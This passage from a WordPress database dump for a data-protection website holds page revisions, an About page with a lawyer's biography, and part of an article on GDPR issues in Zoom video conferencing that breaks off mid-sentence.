Yelp. The offended manager replies publicly, and it all goes heatedly viral online','inherit','closed','closed','','844-revision-v1','','','2020-05-02 13:51:54','2020-05-02 12:51:54','',844,'https://datarainbow.eu/2020/05/02/844-revision-v1/',0,'revision','',0),(860,5,'2020-05-02 15:39:11','2020-05-02 14:39:11','','Linkedin Publications','','publish','closed','closed','','linkedin-publications','','','2020-05-02 15:39:13','2020-05-02 14:39:13','',0,'http://datarainbow.eu/?page_id=860',0,'page','',0),(861,5,'2020-05-02 15:39:11','2020-05-02 14:39:11',' ','','','publish','closed','closed','','861','','','2020-05-02 15:39:11','2020-05-02 14:39:11','',0,'https://datarainbow.eu/2020/05/02/861/',15,'nav_menu_item','',0),(862,5,'2020-05-02 15:39:12','2020-05-02 14:39:12',' ','','','publish','closed','closed','','862','','','2020-10-25 23:03:34','2020-10-25 23:03:34','',0,'https://datarainbow.eu/2020/05/02/862/',36,'nav_menu_item','',0),(863,5,'2020-05-02 15:39:11','2020-05-02 14:39:11','','Linkedin Publications','','inherit','closed','closed','','860-revision-v1','','','2020-05-02 15:39:11','2020-05-02 14:39:11','',860,'https://datarainbow.eu/2020/05/02/860-revision-v1/',0,'revision','',0),(864,5,'2020-05-02 15:42:20','2020-05-02 14:42:20',' ','','','publish','closed','closed','','864','','','2020-10-25 23:03:34','2020-10-25 23:03:34','',0,'http://datarainbow.eu/?p=864',37,'nav_menu_item','',0),(865,5,'2020-05-02 15:42:20','2020-05-02 14:42:20',' ','','','publish','closed','closed','','865','','','2020-10-25 23:03:34','2020-10-25 23:03:34','',0,'http://datarainbow.eu/?p=865',38,'nav_menu_item','',0),(866,5,'2020-05-02 15:42:21','2020-05-02 14:42:21',' ','','','publish','closed','closed','','866','','','2020-10-25 23:03:35','2020-10-25 23:03:35','',0,'http://datarainbow.eu/?p=866',39,'nav_menu_item','',0),(867,5,'2020-05-02 15:42:21','2020-05-02 14:42:21',' ','','','publish','closed','closed','','867','','','2020-10-25 23:03:35','2020-10-25 23:03:35','',0,'http://datarainbow.eu/?p=867',40,'nav_menu_item','',0),(868,5,'2020-05-02 15:42:21','2020-05-02 14:42:21',' ','','','publish','closed','closed','','868','','','2020-10-25 23:03:35','2020-10-25 23:03:35','',0,'http://datarainbow.eu/?p=868',41,'nav_menu_item','',0),(869,5,'2020-05-02 15:42:22','2020-05-02 14:42:22',' ','','','publish','closed','closed','','869','','','2020-10-25 23:03:35','2020-10-25 23:03:35','',0,'http://datarainbow.eu/?p=869',42,'nav_menu_item','',0),(870,5,'2020-05-02 15:42:22','2020-05-02 14:42:22',' ','','','publish','closed','closed','','870','','','2020-10-25 23:03:35','2020-10-25 23:03:35','',0,'http://datarainbow.eu/?p=870',43,'nav_menu_item','',0),(871,5,'2020-05-02 15:42:22','2020-05-02 14:42:22',' ','','','publish','closed','closed','','871','','','2020-10-25 23:03:35','2020-10-25 23:03:35','',0,'http://datarainbow.eu/?p=871',44,'nav_menu_item','',0),(872,5,'2020-05-02 15:42:22','2020-05-02 14:42:22',' ','','','publish','closed','closed','','872','','','2020-10-25 23:03:35','2020-10-25 23:03:35','',0,'http://datarainbow.eu/?p=872',45,'nav_menu_item','',0),(873,5,'2020-05-02 15:42:23','2020-05-02 14:42:23',' ','','','publish','closed','closed','','873','','','2020-10-25 23:03:35','2020-10-25 23:03:35','',0,'http://datarainbow.eu/?p=873',46,'nav_menu_item','',0),(874,5,'2020-05-02 15:42:23','2020-05-02 14:42:23',' ','','','publish','closed','closed','','874','','','2020-10-25 23:03:35','2020-10-25 23:03:35','',0,'http://datarainbow.eu/?p=874',47,'nav_menu_item','',0),(875,5,'2020-05-02 15:42:23','2020-05-02 14:42:23',' ','','','publish','closed','closed','','875','','','2020-10-25 23:03:35','2020-10-25 23:03:35','',0,'http://datarainbow.eu/?p=875',48,'nav_menu_item','',0),(877,5,'2020-05-03 12:38:33','0000-00-00 00:00:00','<!-- wp:list -->\n<ul><li></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li></li></ul>\n<!-- /wp:list -->','','','draft','closed','closed','','','','','2020-05-03 12:38:33','2020-05-03 11:38:33','',0,'http://datarainbow.eu/?page_id=877',0,'page','',0),(878,5,'2020-05-03 18:25:03','2020-05-03 17:25:03','','Champion Badge','','inherit','closed','closed','','champion-badge-2','','','2020-05-03 18:25:03','2020-05-03 17:25:03','',31,'/wp-content/uploads/sites/3/2020/05/Champion-Badge.png',0,'attachment','image/png',0),(880,5,'2020-05-03 18:31:01','2020-05-03 17:31:01','','Screenshot 2020-05-03 at 18.29.42','','inherit','closed','closed','','screenshot-2020-05-03-at-18-29-42','','','2020-05-03 18:31:01','2020-05-03 17:31:01','',31,'/wp-content/uploads/sites/3/2020/05/Screenshot-2020-05-03-at-18.29.42.png',0,'attachment','image/png',0),(881,5,'2020-05-03 18:33:10','2020-05-03 17:33:10','','Screenshot 2020-05-03 at 18.32.54','','inherit','closed','closed','','screenshot-2020-05-03-at-18-32-54','','','2020-05-03 18:33:10','2020-05-03 17:33:10','',31,'/wp-content/uploads/sites/3/2020/05/Screenshot-2020-05-03-at-18.32.54.png',0,'attachment','image/png',0),(882,5,'2020-05-03 18:33:47','2020-05-03 17:33:47','<!-- wp:paragraph -->\n<p><strong>Why DATARAINBOW ?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":83,\"width\":688,\"height\":439} -->\n<figure class=\"wp-block-image is-resized\"><img src=\"/wp-content/uploads/sites/3/2019/01/Screenshot-2019-01-21-at-14.52.01-1.png\" alt=\"\" class=\"wp-image-83\" width=\"688\" height=\"439\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>After the storm, here comes the rainbow arch of colours. Data compliance of today will hopefully bring harmony by applying a series of rules and regulations. The new digital world is regulated by the GDPR in the EU with less known several other regulations, the ePrivacy, the PECR, Convention 108, the NIS, the eCommerce Directive, IP laws, ....</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We want to help every individual and every organisations to know their rights and liabilities. We want to help you walk trough the labyrinth, under the DATARAINBOW.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We hope you will not see regulations simply as a burden, more as a Fundamental Human Right for individuals bringing better trust for a better business.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Who created DATARAINBOW ?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Tara Taubman-Bassirian</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Tara Taubman-Bassirian, LLM, is a French Lawyer based in the UK who has studied private law at the prestigious Paris University Pantheon Assas, before specialising on Computer and Communication Law at Queen Mary at University of London. She has completed for IP Law knowledge with a Harvard University course. She has expertise in areas of privacy, data protection, intellectual property, eCommerce and eReputation. She has made a name for herself in several areas of the world, most notably the UK, France and the US. Languages she practices have helped her to widen her horizon and reach. An early adopter of emerging technologies, Tara makes it her business to understand the challenges presented by regulations in this high connectivity era, which is how she has become a trusted adviser to individuals &amp; businesses navigating legal pathways to justice on the internet. Tara is very active in raising awareness of the EU General Data Protection Regulation (GDPR) &amp; advising businesses on the compliance requirements. Tara is a member of ICANN\'s NCUC &amp; is a volunteer mediator for Surrey Mediation where she extends community mediation to copyright conflict resolution. Tara co-founded Facebook group <a href=\"https://www.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Fgroups%2F167255910003191%2F%3Ffb_dtsg_ag%3DAQw9IfIePuQkc9TDea1_4RgJG1SdsWqqZUil9j7T6q25CQ%253AAQyW3EGpAIEMXEv2FVBpA_93mEYKgUwphsnFvCEdqqEPzQ%26jazoest%3D27874\">Fly A Kite</a> with <a href=\"https://simbus360.com/\">Rebecca Herold</a>. It is dedicated to eradicating cyber-bullying &amp; improving online security, something near &amp; dear to us both.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>CONTACT : Data@datarainbow.eu</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td><br></td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td><strong><a href=\"https://myemail.constantcontact.com/January-Tips--Data-Privacy-Day-just-around-the-corner.html?soid=1102633925835&amp;aid=yBZYGvOtdbw#hero2\">Privacy Hero 2018:&nbsp;Tara Taubman-Bassirian﻿</a></strong><br></td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:paragraph -->\n<p>Privacy Hero of the Year poll, and the results are in...&nbsp;&nbsp;<a href=\"https://www.linkedin.com/in/taubmanbassirian/\">Tara Taubman-Bassirian</a>&nbsp;is the winner!&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>(Big thank you to the community of voters for participating in our first ever Privacy Hero of the Year initiative.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hopefully you will get a chance to hear from Tara and Philip on upcoming episodes of <a href=\"https://www.voiceamerica.com/episode/112620/gdpr-data-privacy-day-and-the-need-for-privacy\">Rebecca Herold\'s radio show</a>,&nbsp;<a href=\"https://www.voiceamerica.com/show/2733/data-security-and-privacy-with-the-privacy-professor\">Data Security and Privacy with The Privacy Professor</a>. I\'ve extended invitations to each today, so stay tuned for more details.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Tara Taubman-Bassirian:&nbsp;Early adopter learns tech so she can teach others</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For keeping up with news on IT security, Privacy and Online Security, join our Facebook Group <a href=\"https://www.facebook.com/groups/167255910003191/?multi_permalinks=2203761959685899&amp;notif_id=1548347410584622&amp;notif_t=feedback_reaction_generic\">Fly A Kite</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":881} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/05/Screenshot-2020-05-03-at-18.32.54.png\" alt=\"\" class=\"wp-image-881\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"id\":880} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/05/Screenshot-2020-05-03-at-18.29.42.png\" alt=\"\" class=\"wp-image-880\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"id\":878} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/05/Champion-Badge.png\" alt=\"\" class=\"wp-image-878\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Seen on Twitter</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":252} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2019/01/Screenshot-2019-01-31-at-11.22.40.png\" alt=\"\" class=\"wp-image-252\" /></figure>\n<!-- /wp:image -->','About','','inherit','closed','closed','','31-revision-v1','','','2020-05-03 18:33:47','2020-05-03 17:33:47','',31,'https://datarainbow.eu/2020/05/03/31-revision-v1/',0,'revision','',0),(884,5,'2020-05-03 18:34:25','2020-05-03 17:34:25','<!-- wp:paragraph -->\n<p><strong>Why DATARAINBOW ?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":83,\"width\":688,\"height\":439} -->\n<figure class=\"wp-block-image is-resized\"><img src=\"/wp-content/uploads/sites/3/2019/01/Screenshot-2019-01-21-at-14.52.01-1.png\" alt=\"\" class=\"wp-image-83\" width=\"688\" height=\"439\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>After the storm, here comes the rainbow arch of colours. Data compliance of today will hopefully bring harmony by applying a series of rules and regulations. The new digital world is regulated by the GDPR in the EU with less known several other regulations, the ePrivacy, the PECR, Convention 108, the NIS, the eCommerce Directive, IP laws, ....</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We want to help every individual and every organisations to know their rights and liabilities. We want to help you walk trough the labyrinth, under the DATARAINBOW.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We hope you will not see regulations simply as a burden, more as a Fundamental Human Right for individuals bringing better trust for a better business.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Who created DATARAINBOW ?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Tara Taubman-Bassirian</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Tara Taubman-Bassirian, LLM, is a French Lawyer based in the UK who has studied private law at the prestigious Paris University Pantheon Assas, before specialising on Computer and Communication Law at Queen Mary at University of London. She has completed for IP Law knowledge with a Harvard University course. She has expertise in areas of privacy, data protection, intellectual property, eCommerce and eReputation. She has made a name for herself in several areas of the world, most notably the UK, France and the US. Languages she practices have helped her to widen her horizon and reach. An early adopter of emerging technologies, Tara makes it her business to understand the challenges presented by regulations in this high connectivity era, which is how she has become a trusted adviser to individuals &amp; businesses navigating legal pathways to justice on the internet. Tara is very active in raising awareness of the EU General Data Protection Regulation (GDPR) &amp; advising businesses on the compliance requirements. Tara is a member of ICANN\'s NCUC &amp; is a volunteer mediator for Surrey Mediation where she extends community mediation to copyright conflict resolution. Tara co-founded Facebook group <a href=\"https://www.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Fgroups%2F167255910003191%2F%3Ffb_dtsg_ag%3DAQw9IfIePuQkc9TDea1_4RgJG1SdsWqqZUil9j7T6q25CQ%253AAQyW3EGpAIEMXEv2FVBpA_93mEYKgUwphsnFvCEdqqEPzQ%26jazoest%3D27874\">Fly A Kite</a> with <a href=\"https://simbus360.com/\">Rebecca Herold</a>. It is dedicated to eradicating cyber-bullying &amp; improving online security, something near &amp; dear to us both.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>CONTACT : Data@datarainbow.eu</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td><br></td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td><strong><a href=\"https://myemail.constantcontact.com/January-Tips--Data-Privacy-Day-just-around-the-corner.html?soid=1102633925835&amp;aid=yBZYGvOtdbw#hero2\">Privacy Hero 2018 : Tara Taubman-Bassirian</a></strong><br></td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:paragraph -->\n<p>Privacy Hero of the Year poll, and the results are in...&nbsp;&nbsp;<a href=\"https://www.linkedin.com/in/taubmanbassirian/\">Tara Taubman-Bassirian</a>&nbsp;is the winner!&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>(Big thank you to the community of voters for participating in our first ever Privacy Hero of the Year initiative.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hopefully you will get a chance to hear from Tara and Philip on upcoming episodes of <a href=\"https://www.voiceamerica.com/episode/112620/gdpr-data-privacy-day-and-the-need-for-privacy\">Rebecca Herold\'s radio show</a>,&nbsp;<a href=\"https://www.voiceamerica.com/show/2733/data-security-and-privacy-with-the-privacy-professor\">Data Security and Privacy with The Privacy Professor</a>. I\'ve extended invitations to each today, so stay tuned for more details.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Tara Taubman-Bassirian:&nbsp;Early adopter learns tech so she can teach others</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For keeping up with news on IT security, Privacy and Online Security, join our Facebook Group <a href=\"https://www.facebook.com/groups/167255910003191/?multi_permalinks=2203761959685899&amp;notif_id=1548347410584622&amp;notif_t=feedback_reaction_generic\">Fly A Kite</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":881} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/05/Screenshot-2020-05-03-at-18.32.54.png\" alt=\"\" class=\"wp-image-881\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"id\":880} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/05/Screenshot-2020-05-03-at-18.29.42.png\" alt=\"\" class=\"wp-image-880\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"id\":878} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/05/Champion-Badge.png\" alt=\"\" class=\"wp-image-878\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Seen on Twitter</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":252} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2019/01/Screenshot-2019-01-31-at-11.22.40.png\" alt=\"\" class=\"wp-image-252\" /></figure>\n<!-- /wp:image -->','About','','inherit','closed','closed','','31-revision-v1','','','2020-05-03 18:34:25','2020-05-03 17:34:25','',31,'https://datarainbow.eu/2020/05/03/31-revision-v1/',0,'revision','',0),(893,5,'2020-05-05 10:46:19','2020-05-05 09:46:19','<!-- wp:heading {\"level\":1} -->\n<h1></h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>19TH APRIL 2020&nbsp;<a href=\"https://datarainbow.eu/author/tara/\">TARA</a>19TH APRIL 2020&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/author/tara/&amp;usg=ALkJrhj3t2QRwu1wyrsKu0Uv6SyUDGFCmQ\">TARA</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>A Look At The Many Considerations to Keep in Mind Before Using A Video Conferencing Technology</strong>&nbsp;.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A deep look at the main legal consequences linked to the use of the free video conferencing application Zoom, which has become very popular, with an increase of 20 to 200 million users in a space of a few days, propelled by the needs of confinement and remote working imposed by the Covid-19 pandemic.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, schematically, four categories of data are concerned with more or less self data sharing:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>the organisers’ data,&nbsp;</li><li>the Guest data,</li><li>Data from third parties mentioned during the videoconference,</li><li>Data concerning minors.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Among these, two categories of data:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>Personal data</strong>&nbsp;with a relatively broad definition of&nbsp;<strong><a href=\"https://gdpr-info.eu/art-4-gdpr/\">Article&nbsp;4</a></strong></li><li>The so-called&nbsp;<strong>special category data</strong>&nbsp;or sensitive data, which in principle should not be processed unless exception.&nbsp;The processing of this data is strictly framed as subject to specific protection as defined in&nbsp;<a href=\"https://gdpr-info.eu/art-9-gdpr/\">Article 9</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Biometric data and other special data processed during the use of video conferences.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The data processed by a video recording can be considered as ‘biometric’ data when the images can be used to identify individuals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>According to a ruling by the European Court of Justice, C-101/01 (November 6, 2003):</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>Personal data</strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>“The operation of referring, on a web page, to various people and identifying them either by name or by other means, for example their telephone number or information relating to their working conditions and their hobbies, constitutes “processing of personal data, fully or partially automated” within the meaning of Article 3 (1) of Directive 95/46 / EC of the European Parliament and of the Council, 24 October 1995, relating to the protection of individuals with regard to the processing of personal data and to the free movement of such data. ”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>Personal data of special or sensitive categories.</strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>‘The indication that a person has injured his foot and is on partial sick leave constitutes personal data relating to health within the meaning of Article 8 (1) of Directive 95/46 .&nbsp;“</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This judgment was given in application of the Directive, prior to the entry into force of the GDPR but remains applicable.&nbsp;Previously, in particular, health data, listed as ‘<em>sensitive</em>‘ data, are now data of special category&nbsp;<strong>a</strong><a href=\"https://gdpr-info.eu/art-9-gdpr/\">Article 9</a>&nbsp;.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This point was recalled by a recent decision of the French Administrative Court The&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf&amp;usg=ALkJrhigHmOTMs6dOFfLLlZeGBDFzu9hJw\">Conseil d’Etat dated February 27, 2020</a>&nbsp;concerning facial recognition in schools.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to the CE:&nbsp;<em>(51)&nbsp;</em><em>Personal data which, by its nature, are particularly sensitive from the point of view of fundamental freedoms and rights deserve specific protection, since the context in which they are processed could pose significant risks for these freedoms and rights. This personal data should include personal data which reveals racial or ethnic origin, it being understood that the use of the expression “racial origin” in this Regulation does not imply that the Union adheres to theories tending to establish the existence of distinct human races. The processing of photographs should not systematically be regarded as constituting the processing of particular categories of personal data, since these<strong>fall under the definition of biometric data only when they are processed using a specific technical method allowing the unique identification or authentication of a natural person</strong>. Such personal data should not be processed, unless this is authorized in specific cases provided for in this Regulation, taking into account that the law of a Member State may lay down specific data protection provisions aimed at adapting the application of the rules of this Regulation with a view to complying with a legal obligation or for the performance of a task of public interest or relating to the exercise of the public authority vested in the controller. In addition to the specific requirements applicable to this processing, the general principles and other rules of this Regulation should apply, in particular as regards the conditions for the lawfulness of the processing.Derogations from the general prohibition to process these particular categories of personal data should be explicitly provided for, inter alia when the data subject gives his<strong>express consent or to meet specific needs, in particular when the processing is carried out within the framework of the legitimate activities of certain associations or foundations whose purpose is to allow the exercise of fundamental freedoms.</strong></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In UK :&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://uk.practicallaw.thomsonreuters.com/D-014-7572%3FtransitionType%3DDefault%26contextData%3D(sc.Default)%26firstPage%3Dtrue%26bhcp%3D1&amp;usg=ALkJrhj8itOdEFULQ2VI9TdlwRulT5fUjA\">Murray v Big Picture</a>&nbsp;§80</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It is therefore possible to consider that the images processed during a videoconference fall within the definition of biometric data.&nbsp;The possibility of possible facial recognition training is not included.&nbsp;In addition, users who do not reveal their identity using nicknames can be identified by the disclosure of their associated image.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Consequently, the images or videos identifying the participants according to their racial, ethnic, religious, philosophical, or union membership are to be considered as falling under the category of special data.&nbsp;Similarly, those relating to the state of health or data of minor children fall into the category of special data.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cf. the the&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.cnil.fr/sites/default/files/atoms/files/reconnaissance_faciale.pdf&amp;usg=ALkJrhijXqC2SeKie9frzXI-yDXE14BM1w\">CNIL</a>‘s recommendation&nbsp;in matters of facial recognition and&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf&amp;usg=ALkJrhigHmOTMs6dOFfLLlZeGBDFzu9hJw\">the recent judgment of the Conseil d’Etat of February 27, 2020</a>&nbsp;.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>The principles of legality Article&nbsp;5</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The data to be collected must be processed lawfully and fairly according to the&nbsp;<a href=\"https://gdpr-info.eu/art-5-gdpr/\">Article 5</a><strong>.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1.&nbsp;<strong>Personal data must be:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a)&nbsp;<em>processed lawfully, fairly and in a transparent manner in relation to the data subject (</em><strong><em>‘lawfulness, fairness and transparency’</em></strong><em>);(</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A privacy notice must be produced defining the legal basis for processing and offering the transparency obligations defined in article 13, as explained infra.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>b)&nbsp;</em>collected for specified, explicit and legitimate purposes and not further processed in a manner that is incompatible with those purposes; further processing for archiving purposes in the public interest, scientific or historical research purposes or statistical purposes shall, in accordance with&nbsp;<a href=\"https://gdpr-info.eu/art-89-gdpr/\">Article 89</a>(1), not be considered to be incompatible with the initial purposes (<strong>‘purpose limitation’</strong>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Any recording of the video conference and its subsequent uses must be notified to the participants and their legal bases justified.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>c)&nbsp;</em>adequate, relevant and limited to what is necessary in relation to the purposes for which they are processed (<strong>‘data minimisation’</strong>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The data collected must be reduced to the strict minimum.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>d) accurate and, if necessary, kept up to date;&nbsp;all reasonable measures must be taken to ensure that personal data which are inaccurate, with regard to the purposes for which they are processed, are deleted or rectified without delay (<strong>accuracy</strong></em>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Saved data will be subject to the obligation of accuracy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e)&nbsp;<em>kept in a form which permits identification of data subjects for no longer than is necessary for the purposes for which the personal data are processed; personal data may be stored for longer periods insofar as the personal data will be processed solely for archiving purposes in the public interest, scientific or historical research purposes or statistical purposes in accordance with&nbsp;</em><a href=\"https://gdpr-info.eu/art-89-gdpr/\"><em>Article 89(</em></a><em>1) subject to implementation of the appropriate technical and organisational measures required by this Regulation in order to safeguard the rights and freedoms of the data subject&nbsp;</em>(<strong>‘storage limitation’</strong>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The shelf life must be defined and communicated to the parties.&nbsp;The registrations, if they exist, cannot exceed the fixed deadline.&nbsp;Archives must develop limited and secure access when they are no longer justified.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>f) processed in a manner that ensures appropriate security of the personal data, including protection against unauthorised or unlawful processing and against accidental loss, destruction or damage, using appropriate technical or organisational measures (</em><strong><em>‘integrity and confidentiality’</em></strong><em>)</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The security of video conferences and their subsequent recordings or access is the liability of the organisers, who must ensure that the service provider fulfil their mission in accordance with the obligations of the GDPR.&nbsp;This includes transmission by encryption excluding transfers to third countries that do not represent adequate protection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2.&nbsp;<strong>The controller is responsible for the compliance with paragraph 1 and is able to demonstrate that it is respected (responsibility).</strong></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This point is very important because as explained below, the responsibility of the videoconference organiser can be engaged for non-compliance with the regulations or allowing unauthorised access to personal data, capable of causing harm, ‘distress’ or loss of control.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Determining the purpose of the processing</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Any data processing must meet a legitimate purpose as listed in&nbsp;<a href=\"https://gdpr-info.eu/art-6-gdpr/\">Article 6</a>&nbsp;In the context of videoconferencing, processing may be either considered to be of legitimate interest – with the need to carry out the three part necessity and proportionality test – or a request for prior consent will apply.&nbsp;The processing must be recorded by the controller if necessary in his / her&nbsp;<strong><a href=\"https://gdpr-info.eu/art-30-gdpr/\">Article&nbsp;30</a></strong>&nbsp;record of processing and specified in the privacy notice.&nbsp;It should be remembered that in the case of consent, it can be withdrawn at any time with the risk of invalidating the lawfulness of any recording subject to erasure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>On consent</strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<strong>paragraph 11)&nbsp;<a href=\"https://gdpr-info.eu/art-4-gdpr/\">Art.&nbsp;4</a>&nbsp;</strong>&nbsp;defines consent as&nbsp;‘any&nbsp;<strong>freely 